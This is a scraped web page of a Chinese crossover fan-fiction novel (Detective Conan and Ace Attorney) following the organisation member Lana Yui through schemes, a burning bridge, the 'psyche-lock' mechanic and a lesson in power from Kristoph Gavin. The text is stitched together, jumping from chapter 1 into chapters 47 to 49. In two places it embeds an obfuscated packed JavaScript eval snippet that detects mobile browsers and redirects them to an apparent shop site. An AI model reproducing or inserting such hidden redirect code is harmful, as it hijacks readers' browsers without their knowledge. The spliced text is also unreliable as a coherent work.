《你的马甲比较烂尾》 1. 哈哈大笑 《你的马甲比较烂尾》全本免费阅读 引擎的轰鸣压过了东京夜晚的喧嚣,只是一刹那,一辆漆黑的马自达从路口闪出疾驰而来。一位身穿黑色套裙的女士从车上得体地走下来。 她是个混血美人。混血造就了她明晰的五官,让每一处细节都如此恰到好处,她肤色较之日本人更加白皙,看起来像是北欧人与亚裔的混血。眼睛是恰到好处的琥珀色,使得她看起来高贵但并非不可接近,反而造就了一种她温柔而善良的气质。假如路人真的与这位女士相熟,他就会意识到这份温柔并不只来源于她的气质,也来源于她的年龄。但是在不知情的人看来,她也不过三十。 她走进酒吧,同时用手机发送信息: “我到了。” 发送向GIN。 拉娜唯带着微笑走进酒吧,靠近吧台前两个黑衣男子。她语气轻柔地向那个白色长发的男人打招呼:“对于你能在百忙之中腾出时间来接我,我感激不尽。” 琴酒冷笑了一声,没说什么。同事话少一点也挺好的,起码没对她的爱车发表什么奇怪的言论,比如你开马自达你不堵车谁堵车谁赞成谁反对之类的。 酒吧里的人没有几个,冷冷清清的甚少人注意到这三个危险分子。眼看着大哥一开头就把天聊死了,伏特加忍不住紧张了起来,他就这样看着拉娜唯不慌不忙的坐了下来,似乎完全没有察觉到他大哥身边的低气压。于是他也松了一口气。 对于伏特加来说,只是接波士力娇是很轻松的事。不同于组织里的其他人,波士力娇的性格算是很不错那种——她从不会让你感到尴尬,更不会主动为难你。平心而论,波士力娇是组织里最好打交道的人。 他并不知道这位被他归类于好说话的女士平时热衷于让琴酒朗姆之流帮她跑腿。 琴酒并不对她的当面一套背后一套发表任何意见,只是言简意赅的报出了组织近期的决策。 “boss的意思是拿那些大人物开刀,并且他还提出要你去见他。”琴酒掏出烟来点燃,深深吸入一口烟而后慢慢呼出。拉娜唯微微颔首,笑着说:“我本来也是要去见boss的。——那就稍微给个教训吧?” 组织接下来的发展方向和她想象的差不多,虽然boss的财力毋庸置疑,但日本的财阀可不仅仅代表着金钱——那可是连公检法都能撼动的巨大的权力啊。天天和公安互相伤害算什么呢? 打赢了也没有收获,这种吃力不讨好的事不如绕道,先手拿下那群财阀才是重中之重。一名优秀的政客可以让媒体为自己所用,而一名富有的财阀可以让所有政客为自己所用。 boss还是有在考虑她的想法嘛。 “我会去诱导他们上钩。那些手无缚鸡之力却又位高权重的人啊……不下手简直对不起他们。”拉娜唯放下酒杯,“我会带一些人去。你手里有没有说得过去的?” 琴酒皱了皱眉:“你该去问朗姆。他手下的闲人很多,你大可以去借。” “推荐几个?” 见波士力娇好整以暇的看着他,琴酒也暗呛回去:“波本,莱伊——这两个讨人厌的家伙,你们相处起来必定会很愉快。”他却看到波士力娇的表情随着这两个名字的出现而精彩起来,她显然认识这两个成员。然而她却不再吐露有用的信息,收拾挎包愉快的离开了。 好吧。琴酒想。这几个神秘主义者一个比一个讨厌。他和伏特加也离开了。 不过被讨厌的当事人没有什么自觉,坐在汽车里,拉娜唯并没有急着发动汽车,而是将目光投向眼前的车窗。一道只有她能看到透明面板展开。 透明面板中依次排列着“任务”、“漫画”、“小说”和“游戏”。 论坛呆在对应的作品评论区里,“任务”界面只有三条永久主线任务。 【目标:修bug】 【进度:0%】 【任务描述:这里的bug多如昆虫记。】 【目标:捞捞我的好大儿!】 【进度:0%】 【任务描述:我有一个好消息和一个坏消息——坏消息,他绝症在身生命将尽,好消息,他还不知道有这回事。】 【目标:炼金术士】 【进度:12%】 【任务描述:学者想要看看她的教授成果。】 一个少年的声音在她脑内响起:“阵早知道你的本性了,你怎么还在装?” 拉娜唯用温柔到近乎于对傻子的表情回应到:“你觉得他旁边那个家伙能看出来吗?” 少年不吭声了。 拉娜唯一股怜悯的语气,“别让你那个演技差的对不起亲妈的主角把你也带傻了。” 基地里,乌丸莲耶在办公桌后等她。拉娜唯毫不客气拖了凳子过来坐下,动作行云流水富有美感。乌丸莲耶深呼吸,最终还是忍住了愤怒的情绪,主动开口问道:“能让你千里迢迢回到日本,想必除了研制成功也不会有别的消息了吧?” 拉娜唯一点也不心虚:“不好意思,离研制成功仍然有一定距离。不过我此次前来的确要解决一些事。” “所以是什么样的问题能与研制成功同样重要?”乌丸莲耶眯起眼睛抬高下巴,缓缓审视着拉娜唯的表情。 “以前在日本本土的研究所废弃后处理不当,居然被人拿到了证据。我很担心我被挟持呢……” 她一点也不担心。乌丸莲耶不屑的笑了,不过目前还不是对拉娜唯,而是对于那个招惹她的倒霉蛋。这女人心态好得很,势力也大着,实在不行还能往荷兰一躲,日本的证据根本抓不住她。烦死了,当年怎么会和她谈合作。乌丸莲耶做了个手势示意她继续说。 “那人是个挺有名的财阀,意味着他起码不笨,能听得懂我们的语言。等我把事情处理的差不多,他很快就会’自愿’和我们合作。” 仅凭拉娜唯三言两语的描述,乌丸莲耶已经大概确定了她提到的财阀究竟是谁。他思考了一下那个人的体量,然后说:“只有他一个人的话,未必需要你出手。” 拉娜唯笑了笑,不说话。她看得出乌丸莲耶还在怀疑她呢——与其拼命给自己辩白,还不如让他自己想,疑心深重的老年人一向只愿意相信自己思考后得来的结果。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12571268|121598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,她愈发后悔自己该喝那茶的。安室透追的死紧死紧,如果要令他能够确认宫野明美是舟桥佑希灵媒来的,一切就都完了。 火焰正在腾起。拉娜唯看见,在胧桥之上,火焰的光芒像深海里的潮汐被拉起,顺着桥身的弧度一点点攀升,在最顶端闪着金光,像极了圣地边缘的骑士城堡。天空则像一片深不可测的碧海汪洋,在它的“海面”上,一片巨大的雷雨云正在压向山顶,如同一艘坚不可摧的战舰,风帆拉满。推动船帆的,是叶樱院平静的土地上供奉神明的香料的芬芳,像丝绸一样光滑,此时正因为烈火的灼烧展现它一生都难以企及的璀璨,像恒星衰弱时最后的高亮。一个身影自那桥上奔跑而过,拉娜唯看清了那是谁。舞子已经灵媒来千奈美,正要去往内院。如果想要改变未来,这是最后的机会。 另一侧,她则看见自己。看见舟桥佑希的背后,已经近乎能看清安室透的脸。她视力卓然,然而也能知道一切危在旦夕。再有不到半分钟,安室透会追上舟桥佑希,按在她的肩膀上,逼她回头,届时一切都会真相大白,自己许诺给宫野志保的谎言将会被立刻拆穿。而她已经叫贝尔摩德帮过一次,叶樱院并不是公共厕所,想进就进想出就出。如果令红方达成共识,那么她或许现在就会直接被抓走。 拉娜唯和自己对视。她有些惊讶地发现,自己的脸上竟然没有纠结,没有不忍,没有动摇。女人和少女的眼中如出一辙地坚定,而且可怕地冷酷。 在舞子和自己之间。她当然选自己。没有别的任何人。只有自己。只有自己。只有自己。 未来果真不容挑战。 拉娜唯即将走上胧桥,临门一脚,却撤下来。她一时间心想,自己甚至都千里迢迢,从高菱屋回来,爬上山来,诸多不易……甚至都走到了胧桥桥畔。最终还是放弃了绫里舞子。她感到极端的不甘,但又异常地冷心……从胧桥走出来的时候,她宛若自火光之中诞生。 安室透当然也看见了她。此人在诺大的叶樱院找到那个穿着紫色和服的身影,不能确认她是真宵、是彩芽、是千奈美,还是明美。没关系,只要他捉住这个女孩,一切都会真相大白。但是他即将抵达真相的一瞬间,忽然像被一只巨大的黑色鸟儿凌空截断;他真的以为那是一只鸟,在一瞬间。叶樱院的雪地上,黑色如此显眼。他看见波士力娇。穿着紫色和服的女孩身影已经倒在她怀里,看不清面目。真相已经落入了她的手中,自己决计不再有机会了。差了一点,天差地别…… 他们对视。说来奇怪,这一回拉娜唯的眼睛如此之金。不像火焰倒影,却好像生出来就是这样的了。所谓born this way,不过如此。 安室透望着她,忽然觉得像是被鹰扼住咽喉,胸膛也像是有千万只猛禽拍打翅膀飞起,令人难以忍受。他想:这个女人在组织的流言中有千万面孔,千万说法,千万形象……甚至于他也曾怀疑她会不会是自己的同僚。如果她都是自己的同僚,那未免太幸福太幸运。但是此刻,毫无疑问了。她不是。她站在你的噩梦的尽头,令你不能前进。揽住紫色的蝴蝶时,面色竟然还平添几分蛊惑和苍老—— 波本。 她说。金色的眼睛发着奇异的光,只有夜行的动物才会眼睛发光。人类不会的。 你好像很疑惑于我会在这里。难道是因为和你的同伴给你的情报不同吗。 这话像一个巨大的闪电,照得安室透心底一片透亮。拉娜唯是清楚自己,清楚hiro的立场的。想到这里,胸口的万千只鸟飞了出去。 在他的目送下。拉娜唯捧着舟桥佑希,体态自若,如同向神明进贡,走起来轻快可恶。越走越快,消失在一片火光之中。 约莫过了几分钟,先是宫野志保跌跌撞撞地赶来,期间安室透不止一次地动了要不就冒火穿过胧桥,赶去内院的主意;被宫野志保阻止。然后二人在隐秘之地看着成步堂龙一步了后尘……真的摔了下去。胧桥彻底断裂。未来终于按照它该发生的那样,发生了。 “夜十一点十八分,成步堂抵达桥上,连接内外的胧桥已起火。此时绫里真宵在内院修行,因为担心真宵的安全,成步堂决定冒险穿过胧桥。……遗憾的是,这一次上天也并不手软,胧桥依旧倒塌,成步堂龙一落入桥下寒冷湍急的吾童川中。” “胧桥倒塌时,桥边似乎有两个身着黑衣的神秘人士。不知来意。不辨姓名。” 48.所以说 成步堂龙一被从胧桥下打捞上来后,非常健康(什么),因为得了重感冒导致不得不卧床只能用电脑(他甚至还能保持清明的意志)回顾绫里千寻的最初案。期间叶樱院内院陆陆续续有消息传来:叶樱院彩芽在绫里舞子遇难“现场”时被叶樱院住持毘忌尼大娘发现,作为嫌疑人被捕。绫里真宵失踪。从任何角度来看,这对于成步堂龙一来说,都没有一个好消息。在拘留所里,成步堂龙一曾经使用“勾玉”对彩芽进行审问。 “勾玉”是一种非自然的调查手段,籍由绫里家的灵力存在。“勾玉”可以拆穿证人的谎言,还可以在特定情况下由灵媒借助“勾玉”的力量召唤死者。在审问中,如果被审问者心中有所藏私,亦或者产生了别的不能被坦诚地向外人称道的想法,就会产生心灵枷锁。目前而言,最低一个,最高五个。一般是红色的锁链,少有黑色。 心灵枷锁这样一个超自然定义下的设定,在动画表现中,通过画面与声音的配合,产生了这样一个文字冒险游戏中堪称一绝的表现力。而这一机制首次为玩家带来震撼,就是在成步堂龙一审问彩芽时。这样一个外表看起来无害又柔弱的女孩,在被勾玉对准的时候,背后赫然出现了五把锁。 当年初见时,不知道有多少人在看到这一画面后,坚定地认为叶樱院彩芽即是美柳千奈美假扮而成,有这样多的锁不过是因为她在说谎,在假装失忆。当然,在游玩到第四部的时候,这些人大概才会后知后觉地意识到,假如成步堂龙一审的真的就是美柳千奈美的话,她背后不应该是这些锁——数量可能还是五把。但更有可能,是黑色的。 在第四部中,玩家将会面对全系列唯二显示有黑色心锁的人——牙琉雾人。另一个则是第五部的女主角希月心音。不同于红色心锁所覆盖的广义上的“不愿承认的事”——这意味着不愿承认想要吃妈妈不允许吃的零食也可以构成红色心锁,没有写老师布置的作业也可以构成红色心锁。牙琉雾人的黑色心锁在成步堂询问他的杀人动机时出现的。按照绫里春美的解释,黑色心锁是“连本人都不知道,内心最深处的阴影沉淀而成”,无关本人的意志。潜意识里的犯罪,已经不是人驱使意志,而是意志反过来凌驾在这个人头上了。所以说,美柳千奈美的心锁大概是黑色的——她不同于严徒海慈之流,不能操控自己的恶。 有一种说法是,强行破除黑色心锁,全部破除后,这个人也会疯掉。牙琉雾人在逆四中最后的崩溃似乎就是因为强行解锁黑色心锁导致。但由于样本太少,而另一位拥有黑色心锁的角色希月心音的锁又被成功解开,本人也没有疯掉——会不会任何颜色的心锁其实都是可以被解开的,只是牙琉雾人太不寻常,他太高傲以至于到了盲目的程度,崩溃是他的必然? 我们不得而知。 这一回成步堂龙一审问叶樱院彩芽,依旧是五把红色心锁横亘在他面前。他于是去审问另一个重要证人:这位证人的防备心丝毫不亚于叶樱院彩芽。仅次于她,四把心锁堵在了成步堂的话前。不过毕竟操控的是玩家,玩家问不明白就会读档重来,再不行就抄作业—— 对,官方游戏受益者们已经高高兴兴玩上联动DLC了。彩芽的质询大多和原作相同,而剧情毕竟没有强制要求玩家剧情死,故而舟桥佑希的四把红色心锁也挨个解开了。这四把心锁分别关于:她出现在叶樱院是否有人指使,亦或有人安排;她是否尝试灵媒过美柳千奈美;为什么失败;奔向胧桥时的动机。 四个问题当然都得到了回答,四把红锁解开,在背后注视的一双眼睛似乎显现了一些蛛丝马迹。然而,在成步堂龙一离开后—— 舟桥佑希虽然被发现的地点不太美好,但终归不是绫里舞子的死亡“现场”。顶多算个凑的太近的证人,在拘留所也是客客气气地真的被请喝茶,不用铁窗泪。当然,她现在对茶有一点ptsd,不太想进嘴。她看着转身的成步堂龙一,心想,他有一个问题,其实没有得到解答。但那不是一把心锁,他什么都没有看到,连同他背后的数以亿计的玩家也都没有看到。因为,红色的心锁,完全取决于本人的意志。也就是说,如果本人并不认为自己在撒谎,那就不会成锁……就像逆二的最终关,王都楼真吾有双重人格,并不认为另一个人格犯下的罪孽属于自己,问了自然也是没有心锁。 成步堂龙一曾经问她: “你说你不知道自己是怎么出现在内院的……这是真的吗?” 舟桥佑希毫不犹豫地点头:“是。” 没有心锁。她自己也猜到了自己没有心锁。 但这是一个诡计。被拉娜唯带着越过胧桥之时,舟桥佑希当然已经不能抵抗药物的作用,沉沉睡去。而拉娜唯肯定得醒着,但是,拉娜唯醒着,和舟桥佑希有什么关系? 强词夺理,那又如何。难道王都楼真吾就不知道自己有双重人格吗?他利用得,凭什么拉娜唯利用不得?……反正舟桥佑希睡着了。她的确什么都不知道。 这就是第五把心锁。隐藏的心锁。所以其实舟桥佑希也有五把心锁的……只是还没到开解的时候,或许一辈子都不会开解……人要隐藏多少秘密,才能巧妙地度过这一生。 其实拉娜唯曾二度见过美柳千奈美。这位女鬼此时则已经从绫里舞子的身上下来了。她操控绫里舞子的身体前去试图杀害绫里真宵,然而被早已埋伏在内院的神乃木庄龙拦截。神乃木庄龙不会驱魔,此时看见美柳千奈美后,已经丧失了所有理智,非要杀死她不可。当然,死的是绫里舞子,连带着千奈美的灵魂也被迫离开绫里舞子的身躯。接下来神乃木庄龙需要联合叶樱院彩芽将绫里舞子的尸体拋回外院制造假现场,而拉娜唯无意干涉,也懒得牵扯进法庭,于是把舟桥佑希的身体留在了无论如何也看不见内院真现场的地方。 她回头,就能看见美柳千奈美的灵魂。红发的恶鬼,在天地之间的火光中站着。美柳千奈美似乎也会错了拉娜唯和舟桥佑希之间的关系,对以发出不屑的笑,预先认为拉娜唯一定看得见自己的灵魂,像绫里家的每一个灵媒师一样;并且明目张胆地嘲讽绫里家的女人总是这样,抛弃自己的女儿。 拉娜唯明白她的意思,并且大体上,美柳千奈美并没有说错;绫里舞子是千寻和真宵的母亲,在DL—6事件后即离开绫里家,多年来女儿们都不知道她的下落。绫里贵美子作为美柳千奈美、叶樱院彩芽、绫里春美的母亲,在发现自己的双胞胎女儿们都没有丝毫灵力时,就立刻抛弃了她们。 她的嘲讽来的……非常没有必要。由于暂且不知道对方产生的误会,拉娜唯有一点不明白。美柳千奈美在大多数情况下习惯于先伪装出一副善良纯洁的面容,这样一上来就开嘲讽,毕竟还是少见。但真要细究,在她们二人真正意义上的初见里,美柳千奈美其实是伪装了的。她假装自己是叶樱院彩芽。但在目睹拉娜唯保护舟桥佑希后,她就立刻撕下了假作的纯洁的面容。 事实上,对于美柳千奈美而言,一个人初见她就道破她的身份,和一个“疑似”绫里家的女人“疑似”保护了她的孩子,后者的冲击力远远大于前者。她对此感到怨恨。 拉娜唯不知道她在想什么。但觉察出千奈美的杀意正奔着佑希而去,于是速战速决,选择了最简洁的解决方式。她放下舟桥佑希后,上前去,一把抓住了美柳千奈美的灵魂。 是的。活人当然不能捉住无形之物……但灵魂可以。她那黑漆漆、眼睛处发着亮光的、毛毛躁躁的灵魂可以。美柳千奈美以为拉娜唯能看见她,是绫里家的血脉发挥了作用;实际上拉娜唯看得见她,是远在荷兰的爱兰德尔家族流传的炼金秘辛的本事。也就是说,拉娜唯看见的并不是美人面……而是同她血脉相连的家人们一样,看见的是一个长着动物头颅的人类。美柳千奈美的头是赤链蛇。 很明亮,很显眼。吃起来跟小辣条似的。 她看见美柳千奈美的眼中终于恐惧起来,又一转眼看不见了——拉娜唯知道是绫里真宵为了自保灵媒了千奈美——才一言不发地收回手。 为了防备美柳千奈美的回马枪,拉娜唯一直坐在这里。她还不希望自己的马甲折在这里。但是说到底,折了又如何?是我对于做一个纯洁的,和警察们交好的,有可以交心的小女孩这件事还没有过瘾吗?这句话说起来真长,真麻烦;所以是爱吗?竟然是爱吗,它和爱一点都不像,可不是爱又是什么呢?在“爱”这个词跳出来的瞬间,她感觉自己过电一般,怔愣许久。有什么落在脸上,她用手背擦去,心想这就是叶樱院的雪吧。 顺便一提,这一次BUG转裁判的作者似乎是担心此次联动有时限,联动结束后DLC就会被回收——当然不是没有保存这个版本的办法,但普通玩家私下这样玩,不构成非常大的盈利的话,当然无所谓;但他要在社媒上录制视频,考虑得就得多些。至少游戏官方不允许他做的,他明面上也不可以做。 综上所述,所以他非常勤快,竟然火速再做了一期视频,老粉丝都吓死了,以为此人更的这么勤快是准备提桶跑路。无论如何,新视频是做出来了。卡出来的BUG包括但不限于:犯人自爆(指歌德还在法庭做检察官忽然被宣判有罪)、植物人御剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12636126|121598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' (真宵给盆栽浇水时弹出御剑怜侍立绘)、真宵越狱为了给御剑浇水(大雾)、彩芽当庭起飞、狩魔豪限时返场……以及全员心锁。 原作肯定是允许玩家见人就出示勾玉的,同理也允许玩家见人就出示律师徽章(。然而给所有角色,无论与案件是否有关都写心锁问答内容,工作量太大。因此需要合理控制玩家所能接触的角色,然后针对他们进行质询。但是金手指BUG能卡出的角色可就不会管这么多了,巴不得全卡一遍;连带着联动角色都给你卡出来,有些甚至非常符合原著。 人话就是能审江户川柯南玩了。虽然金手指毕竟是个BUG,不可能给你拽出非常合乎逻辑的对话,但给江户川柯南抓出五把红锁,也算对得起这位男主。与之相似的,赤井秀一、安室透、宫野志保,这些联动方中板上钉钉的重要角色,随手一拉全都是五把锁,实在让人怀疑本作角色的可信度。人均批发心灵枷锁,便宜卖了啊便宜卖。相较之下,汐华真理才不过三把锁,舟桥佑希四把,一度称得上一句心灵清澈,坦诚待人。另外两个极其有趣的事实是,贝尔摩德其实拉出了三把锁,比起很多人的想象来说,要出人意料地坦诚。而琴酒压根拉不出来锁。然而这并不代表他就坦坦荡荡,甚至于和很多人的惯性思维,谁锁多谁罪重;并不是这样。这只能反映出他对自己的罪行沾沾自喜,供认不讳。 这些并不是联动方的全部角色。但有些实在卡不出来,跟本案毫无联系,或者出场实在太少,都没有在他人的叙述中沽名钓誉,那也没有办法。然而有一回这个作者为视频寻找素材,偶然在乱码中扫视到一个名字。拉娜唯。好奇怪的名字,欧日结合,非常少见的姓名组合。这个名字连同她的形象——一个习惯穿西服或者一些黑色调的衣服的女性——则在另一个另一个人的脑中熠熠生辉。这个人他也没有见过,但似乎是很清秀的男人。而且不是那种被多个角色的零星素材组成的奇美拉。他就是一个完整的人。即便已经是成男了,依旧很能看得出一些少年时的神采。像学生时代趁着雨幕躲在书店看的书,像多年以后从录音机里听见的细细的风声。他的立绘和蓝色的眼睛在屏幕中诚恳地与这个作者对视了很久。但是他却不甘心作为素材。后来也没有被卡出来。 后来发布视频后那个作者和朋友聊天。他对名柯只有一个大体上的了解,大概知道男主不光是江户川柯南,也是工藤新一,除此之外就没有了。他的朋友则不然。听过他的描述后,说那个男的,黑发蓝眼还有一些争议;但你说他看起来很温柔很有耐心,那我怀疑……怀疑是诸伏景光。复活警校组的先例,重置版又不是没有过。这是一个非常重量级的消息,你要放出去吗? 不准备。也好。毕竟没有切实的证据,省的官方改了主意,最后粉丝骂的是你。 至于黑色衣服的女人……那太多了。拉娜唯?我没有听说过。原作没有这个人,重置版也没有。唔……你们那边也没有?不太可能吧?这么奇怪的名字,我觉得更容易出现在你们那边吧?再怪还能怪的过原来如此君?不过,可能其实也没有那么怪……我是说,这种姓名构成,我会在宫野艾莲娜或者赤井玛丽身上看见过。这都是西方女人嫁给日本男性后产生的混杂的名字。拉娜唯……或许她结婚了。丈夫姓唯?然后不同于上面那二位,她选择姓氏后置?日本有唯这个姓吗? 黑色的衣服。那没有什么区分力的,兄弟,我们名柯的女人都很爱穿黑色衣服。还有别的吗?没有了。okok,不客气,拜拜! 那个作者挂断电话,想了想,决心把那个秘密埋在心底。说到底也不算什么秘密,不过是他在卡出这二位的贴图后,发现手里攥着勾玉,于是随便用了用。那个被朋友确认是叫诸伏景光的男人——他也是五把锁。这实在不出意料,他已经习惯了。五把红锁,而且一时间不允许他解开。他又去探那个所谓的“拉娜唯”。 忽然之间,游戏音效变得非常得大;锁链伸出的一瞬间,吓了他一跳。密密麻麻的锁链,都是黑色的。像墨水滴在了牛皮纸上,一眨眼就晕开很大的一片黑色。五把黑色的锁,像烧焦的扭曲的树枝。那个女人不知道为什么,转过头来,沉默地凝望着他。 但是这可是游戏的第三部啊,第三部里还没有引出黑锁,更没有黑锁的素材,怎么会……那个作者定了定神,想到自己买来的是全套系列,在每作前都有一个对全系列的介绍,于是猜测是BUG把预告中牙琉雾人的黑锁卡了出来,移花接木,最后丢到了拉娜唯的背后。这么一想,就不再担忧。连带着那一点惊恐疑,也如同雨滴落入海里。 49.粉面佛 这一夜非常的干燥。拉娜唯从火焰中突围回来,感到极度的渴。她干脆落在窗台外延展的台子上,压根没有空去换衣服,旋即冲进厨房接水。她个人非常不喜欢吃喝外面的食物。一手撑在台上痛饮三大杯,喝的感觉整个人都重的飞不起来以后,才听见一点呼吸声在背后。她回过头。 贝尔摩德显然不知道要拿拉娜唯捡回来的这个年轻律师怎么办,或者说她也懒得费心思研究怎么敲打他,于是直接把牙琉雾人丢到拉娜唯这里,算是尽了最后的售后义务就扭头走人。留得牙琉雾人独自呆在这不知道等了多久,虽然心里没底,不确定自己可以做什么(他连房间里的灯都没有开),身上也已经不够维持得体,但表面一点都看不出来,气场非常足。即便坐在拉娜唯的沙发上也是,这让他看起来不像一个二十多岁初出茅庐的年轻人,倒非常可靠了。如果我是不明真相的委托人,第一印象也一定会选牙琉雾人而不是成步堂龙一的。拉娜唯在深夜里静静地望着他,想,可惜我知道你们两个人到底是个什么德行。 她知道内情后,只觉得贝尔摩德是把自己在外头喂的暹罗顺手带回来。这只暹罗看起来被养的蛮好,在家里也没有乱挠乱抓,只一味的舔毛。暂时没有给她惹出乱子。但拉娜唯知道就算一只猫再怎么听话,养也比不养麻烦;更何况是个注定不会老实的人呢。你问成步堂龙一?成步堂龙一是一只刺猬。over.拉娜唯暂时不特别仇恨任何人,但对于牙琉雾人这样总是悄悄出现在她的房间的行径,不堪其扰。 她把外套脱下来,摔在沙发上,想要赶人走。牙琉雾人却走位离奇,竟然接住拉娜唯的衣服,并且别有深意,问她难道现在就要去休息了吗。 拉娜唯:……大哥你说点人话吧。为啥每次都要说的这么恶俗。 牙琉雾人倒气定神闲,没有往不合适的地方想。从这一点看来,他虽然道德低下,但还是比拉娜唯正人君子一些。又清了清嗓子,问:“我以为我们对于松本俊一的清算才刚刚开始。” 拉娜唯端详着他的神采,心想:就知道你小子报复心重。估计今天晚上不跟自己商量出怎么坑松本俊一一手,一整夜都不能睡着。但是我不一样,我真要睡了所以你能不能出去。很快她意识到牙琉老师作为律师时把控人意愿的本领,指牢牢地抓着她的外套,拉娜唯确实不给牙琉雾人多话的时间,却不能不把衣服随便丢(想想雾人老师要靠一件衣服才能说上话就好可怜啊)。 他说:“您需要钱。” 拉娜唯挑眉:“我有钱啊。” “不是您从家里带来的那些钱。您要能在这里,在这片土地上谋得钱,才有上桌说话的资格。”牙琉雾人走近了一步说,“否则他们还会将您看做一个不远万里而来的荷兰大血包。不觉得吗?”拉娜唯心想,我大撒币的事怎么着连牙琉雾人都知道了,贝尔摩德你到底跟他说啥了,表情却纹丝不动,继续沉默。牙琉雾人看她没有接话,知道这是要自己继续说的意思——算个小知识吧;领导不发言的意思就是员工业务能力尚可然而政治素养不够,在拉娜唯这里显然暂时没有什么站队问题,那就是雾人说的好却不合她心意。 他进一步继续道:“您不觉得自己从荷兰回来之后一直都很被动吗。虽然每一次化解的都相当精彩,又令人捉不住把柄;但终究是逃跑。难道您认为自己是哈利波特?管侥幸从黑魔王手里捡回一条命叫尚在襁褓就能打败伏地魔的救世主?” “你说话真刻薄。”拉娜唯懒洋洋的,避重就轻。 “是。的确是我有所偏颇。”牙琉雾人稍稍颔首,说话却依旧相当尖锐,“毕竟哈利波特当年只是个婴儿。您呢?您也是婴儿?” 拉娜唯大受震撼,一时间很难相信之前还在紧张刺激打太极的牙琉雾人忽然语气变成了这样。哥们你怎么突然不演了,不活了啊。然而一瞬间的迷惑后她就感觉到不寻常的气息,一种阔别已久的记忆浮现,她意识到,牙琉雾人的内心已经正式脱离了上下级的情景,而是开始把自己当做他的学生。先前提及王泥喜法介看来不是空穴来风。她直接问出口,而牙琉雾人只是笑了笑,说:并非好为人师。只不过是您不熟悉这片土地上权力运行的规则,而我来向您介绍一下罢了。 哪里的权力本质上不都一个样子。拉娜唯冷笑,说,你只管说用什么拋饵和靠谁当托就够了。雾人老师。最后四个字她咬的很重。 “……就只是,需要您的药。” 拉娜唯的视线登时扫射过去:“异议。你究竟是什么时候开始探听我消息的?” 听见“异议”那个词蹦出来,牙琉雾人忽然笑了,大约是终于感觉战场来到了他熟悉的领域,微微呼气:“有些时间。但要是从我认识您开始衡量,还是太晚。” 他说这话的时候,手上依旧没有把那件外套放下。如果说拉娜唯是困倦而焦虑的话,牙琉雾人也未必就那样能放下心,只不过掩饰的够好。即便如此,他嘴上斟酌后吐露字句时,手上还摩挲着外套的布料。牙琉雾人可以明确地感觉到那件外套边沿不寻常的、不规则的坚硬。那是经过火焰燎烧后的痕迹。 历经这种程度的火灾后,这个女人冒雪翻窗进来,只不过狂喝了三杯水后,就不觉得身上有任何不适,舒舒服服地想要滚进卧室睡觉了。他心想:这就是我选择共事的同谋。这就是我决心并行的盟友。这之间实力的差距之大,已经不是一个弱小的儿童和肌肉虬结的壮汉谈条件,倒像是渔夫正从海里捞出装着魔鬼的瓶子,既眼热于前三百年里魔鬼许诺的金银财宝,又恐惧于第四百年里魔鬼的怨恨与报复。即便如此,即便如此。他默不作声,仿佛刚才的踌躇从未发生过。 屏幕黑下去。然后亮起。 先是移动的镜头。游走在庭院里。茂盛的树木,经过设计,错落有致的布置在沿路。那个房子就静谧地掩映在一片片摇曳的桔树,闪亮的竹林和一大片金色的秋葡萄园中。太阳正在平东,阴影如水遇太阳,慢慢地开始蒸发退却。 这是第一课。拉娜唯回想起牙琉雾人所说的话:第一课。在摩天大楼,钢筋混凝土里谈的生意,总是不够深。直到你能够踏入对方的家中……你提出的方案才算能被认真地听见。 拉娜唯当时咋舌,心想,要是她谈个什么事项还把外人邀请到自己在荷兰的那个房子里,又或者带到叔叔开的旅馆中住一晚上,可不确保客人能全须全尾地出去。从这点来看,或许自己熟悉的一些处世之道,并没有普适化运用的水平。 镜头还没有落到她这里。但拉娜唯关注着TV剧集画面,少见地有一些焦躁。走到窗户近前的时候,听见了一阵混乱的、急促的动静,随即又很快平息。是一个人冲进房间后改跑为走的动静。她背后的人立刻略带不安地回头望向门外,而拉娜唯则深呼吸了一下,才调整表情,微笑出来。 “来了。”Doat直截了当地丢下这句话,转身要走,结果刚刚迈出步子就又狐疑地收了回来,上下扫视拉娜唯两眼,张了张嘴,视线扫向一边,这次真的转身离开了。拉娜唯知道他在看什么。这算是牙琉雾人教的第二课……如果那也称得上是节课的话。 “我按照您往常习惯的穿衣风格,大体推荐棕黑色为主体的和服。”牙琉雾人说,“选色上已经尽力偏好您中性的色调了。不艳丽,也压得住气场。花纹选择了深红色的小枫树叶片,没有更多的装饰。毕竟不是您的主场,衣服上要让色——” “这个我明白。”拉娜唯皱了皱眉。没有多说什么。 “这当然只是我个人的推荐。如果您有什么不能接受的地方,可以提。” “那我要穿西装。” “不行。” 牙琉雾人笑眯眯地一口回绝,并且非常直接地对上拉娜唯的眼睛:“毕竟是在庭院里。西装并不合适;而且,就算退一万步……也至少是条裙子吧。” “裙子不好跑。” “又不是次次都情况危机需要您逃跑……更何况难道就算穿着裙子,您就被困在原地,压根动不了了吗?这对于您这样的人来说没有区别。” “既然没有区别就给我换裤子。” “不行。”牙琉雾人叹了口气说,“这种场合不会有穿裤子的女人。如果女人很多的话倒无所谓,但您这次的客人全都是男的。” 拉娜唯很讨厌这种感觉。一种本能催使着她去尽量和周围人保持一致的着装和外貌,尽可能不出挑,这并不是低配得感或者别的什么自卑心理原因作祟,只不过是动物不得不进化出的保护色罢了。猎物需要保护色来逃跑躲藏,掠食者需要保护色 